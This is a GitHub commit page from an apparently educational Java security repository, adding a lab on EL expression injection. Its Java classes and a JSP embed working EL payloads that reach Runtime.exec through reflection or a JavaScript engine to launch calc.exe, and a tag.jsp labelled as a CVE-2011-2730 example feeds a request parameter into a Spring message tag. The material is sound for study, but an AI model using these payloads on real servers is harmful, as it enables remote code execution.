FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

:new:EL表达式注入 · Mengbius/JavaSecurityLearning@a044522 · GitHub

  1. Mengbius
  2. JavaSecurityLearning

Repository navigation

Commit a044522

Browse files
Drun1baby
committed
🆕EL表达式注入
1 parent 96f0894 commit a044522

40 files changed

Lines changed: 591 additions & 12 deletions

File tree

‎JavaSecurity/EL/BasicELVul/BasicELVul.iml‎

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
3+
<component name="FacetManager">
4+
<facet type="web" name="Web">
5+
<configuration>
6+
<descriptors>
7+
<deploymentDescriptor name="web.xml" url="file://$MODULE_DIR$/src/main/webapp/WEB-INF/web.xml" />
8+
</descriptors>
9+
<webroots>
10+
<root url="file://$MODULE_DIR$/src/main/webapp" relative="/" />
11+
</webroots>
12+
<sourceRoots>
13+
<root url="file://$MODULE_DIR$/src/main/java" />
14+
<root url="file://$MODULE_DIR$/src/main/resources" />
15+
</sourceRoots>
16+
</configuration>
17+
</facet>
18+
</component>
19+
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
20+
<output url="file://$MODULE_DIR$/target/classes" />
21+
<output-test url="file://$MODULE_DIR$/target/test-classes" />
22+
<content url="file://$MODULE_DIR$">
23+
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
24+
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
25+
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
26+
<sourceFolder url="file://$MODULE_DIR$/src/test/resources" type="java-test-resource" />
27+
<excludeFolder url="file://$MODULE_DIR$/target" />
28+
</content>
29+
<orderEntry type="inheritedJdk" />
30+
<orderEntry type="sourceFolder" forTests="false" />
31+
<orderEntry type="library" scope="PROVIDED" name="Maven: javax.servlet:javax.servlet-api:4.0.1" level="project" />
32+
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-api:5.7.1" level="project" />
33+
<orderEntry type="library" scope="TEST" name="Maven: org.apiguardian:apiguardian-api:1.1.0" level="project" />
34+
<orderEntry type="library" scope="TEST" name="Maven: org.opentest4j:opentest4j:1.2.0" level="project" />
35+
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-commons:1.7.1" level="project" />
36+
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-engine:5.7.1" level="project" />
37+
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-engine:1.7.1" level="project" />
38+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-catalina:8.5.81" level="project" />
39+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-servlet-api:8.5.81" level="project" />
40+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-jsp-api:8.5.81" level="project" />
41+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-el-api:8.5.81" level="project" />
42+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-juli:8.5.81" level="project" />
43+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-annotations-api:8.5.81" level="project" />
44+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-api:8.5.81" level="project" />
45+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-jni:8.5.81" level="project" />
46+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-coyote:8.5.81" level="project" />
47+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-util:8.5.81" level="project" />
48+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-util-scan:8.5.81" level="project" />
49+
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-jaspic-api:8.5.81" level="project" />
50+
<orderEntry type="library" name="Maven: de.odysseus.juel:juel-api:2.2.7" level="project" />
51+
<orderEntry type="library" name="Maven: de.odysseus.juel:juel-spi:2.2.7" level="project" />
52+
<orderEntry type="library" name="Maven: de.odysseus.juel:juel-impl:2.2.7" level="project" />
53+
</component>
54+
</module>

‎JavaSecurity/EL/BasicELVul/pom.xml‎

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>drunkbaby</groupId>
8+
<artifactId>BasicELVul</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
<name>BasicELVul</name>
11+
<packaging>war</packaging>
12+
13+
<properties>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
<maven.compiler.target>1.8</maven.compiler.target>
16+
<maven.compiler.source>1.8</maven.compiler.source>
17+
<junit.version>5.7.1</junit.version>
18+
</properties>
19+
20+
<dependencies>
21+
<dependency>
22+
<groupId>javax.servlet</groupId>
23+
<artifactId>javax.servlet-api</artifactId>
24+
<version>4.0.1</version>
25+
<scope>provided</scope>
26+
</dependency>
27+
<dependency>
28+
<groupId>org.junit.jupiter</groupId>
29+
<artifactId>junit-jupiter-api</artifactId>
30+
<version>${junit.version}</version>
31+
<scope>test</scope>
32+
</dependency>
33+
<dependency>
34+
<groupId>org.junit.jupiter</groupId>
35+
<artifactId>junit-jupiter-engine</artifactId>
36+
<version>${junit.version}</version>
37+
<scope>test</scope>
38+
</dependency>
39+
<dependency>
40+
<groupId>org.apache.tomcat</groupId>
41+
<artifactId>tomcat-catalina</artifactId>
42+
<version>8.5.81</version>
43+
<scope>provided</scope>
44+
</dependency>
45+
<!-- https://mvnrepository.com/artifact/de.odysseus.juel/juel-api -->
46+
<dependency>
47+
<groupId>de.odysseus.juel</groupId>
48+
<artifactId>juel-api</artifactId>
49+
<version>2.2.7</version>
50+
</dependency>
51+
<!-- https://mvnrepository.com/artifact/de.odysseus.juel/juel-spi -->
52+
<dependency>
53+
<groupId>de.odysseus.juel</groupId>
54+
<artifactId>juel-spi</artifactId>
55+
<version>2.2.7</version>
56+
</dependency>
57+
<!-- https://mvnrepository.com/artifact/de.odysseus.juel/juel-impl -->
58+
<dependency>
59+
<groupId>de.odysseus.juel</groupId>
60+
<artifactId>juel-impl</artifactId>
61+
<version>2.2.7</version>
62+
</dependency>
63+
64+
65+
</dependencies>
66+
67+
<build>
68+
<plugins>
69+
<plugin>
70+
<groupId>org.apache.maven.plugins</groupId>
71+
<artifactId>maven-war-plugin</artifactId>
72+
<version>3.3.1</version>
73+
</plugin>
74+
</plugins>
75+
</build>
76+
</project>

‎JavaSecurity/EL/BasicELVul/src/main/java/drunkbaby/basicelvul/HelloServlet.java‎

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package drunkbaby.basicelvul;
2+
3+
import java.io.*;
4+
import javax.servlet.http.*;
5+
import javax.servlet.annotation.*;
6+
7+
@WebServlet(name = "helloServlet", value = "/hello-servlet")
8+
public class HelloServlet extends HttpServlet {
9+
private String message;
10+
11+
public void init() {
12+
message = "Hello World!";
13+
}
14+
15+
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
16+
response.setContentType("text/html");
17+
18+
// Hello
19+
PrintWriter out = response.getWriter();
20+
out.println("<html><body>");
21+
out.println("<h1>" + message + "</h1>");
22+
out.println("</body></html>");
23+
}
24+
25+
public void destroy() {
26+
}
27+
}

‎JavaSecurity/EL/BasicELVul/src/main/java/drunkbaby/basicelvul/ScriptEngineExec.java‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package drunkbaby.basicelvul;
2+
3+
import de.odysseus.el.ExpressionFactoryImpl;
4+
import de.odysseus.el.util.SimpleContext;
5+
6+
import javax.el.ExpressionFactory;
7+
import javax.el.ValueExpression;
8+
9+
public class ScriptEngineExec {
10+
public static void main(String[] args) {
11+
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
12+
SimpleContext simpleContext = new SimpleContext();
13+
// failed
14+
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
15+
// ok
16+
String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +
17+
" ";
18+
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
19+
System.out.println(valueExpression.getValue(simpleContext));
20+
}
21+
}

‎JavaSecurity/EL/BasicELVul/src/main/java/drunkbaby/basicelvul/juelExec.java‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package drunkbaby.basicelvul;
2+
3+
import de.odysseus.el.ExpressionFactoryImpl;
4+
import de.odysseus.el.util.SimpleContext;
5+
6+
import javax.el.ExpressionFactory;
7+
import javax.el.ValueExpression;
8+
9+
public class juelExec {
10+
public static void main(String[] args) {
11+
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
12+
SimpleContext simpleContext = new SimpleContext();
13+
// failed
14+
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
15+
// ok
16+
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
17+
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
18+
System.out.println(valueExpression.getValue(simpleContext));
19+
}
20+
}

‎JavaSecurity/EL/BasicELVul/src/main/webapp/BasicVul.jsp‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
2+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
3+
<html>
4+
<head>
5+
<title>EL 表达式注入漏洞</title>
6+
</head>
7+
<body>
8+
<h2>漏洞界面</h2>
9+
10+
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
11+
</body>
12+
</html>

‎JavaSecurity/EL/BasicELVul/src/main/webapp/WEB-INF/web.xml‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
5+
version="4.0">
6+
</web-app>

‎JavaSecurity/EL/BasicELVul/src/main/webapp/index.jsp‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
2+
<!DOCTYPE html>
3+
<html>
4+
<head>
5+
<title>JSP - Hello World</title>
6+
</head>
7+
<body>
8+
<h1><%= "Hello World!" %></h1>
9+
<br/>
10+
<a href="hello-servlet">Hello Servlet</a>
11+
</body>
12+
</html>

‎JavaSecurity/EL/BasicELVul/src/main/webapp/tag.jsp‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
2+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
3+
<html>
4+
<head>
5+
<title>CVE-2011-2730 示例</title>
6+
</head>
7+
<body>
8+
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
9+
<spring:message text="${param.a}"></spring:message>
10+
</body>
11+
</html>

‎JavaSecurity/EL/BasicELVul/target/BasicELVul-1.0-SNAPSHOT/BasicVul.jsp‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
2+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
3+
<html>
4+
<head>
5+
<title>EL 表达式注入漏洞</title>
6+
</head>
7+
<body>
8+
<h2>漏洞界面</h2>
9+
10+
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
11+
</body>
12+
</html>

0 commit comments

Comments
 (0)
Back | FazBrowse Home | New Git URL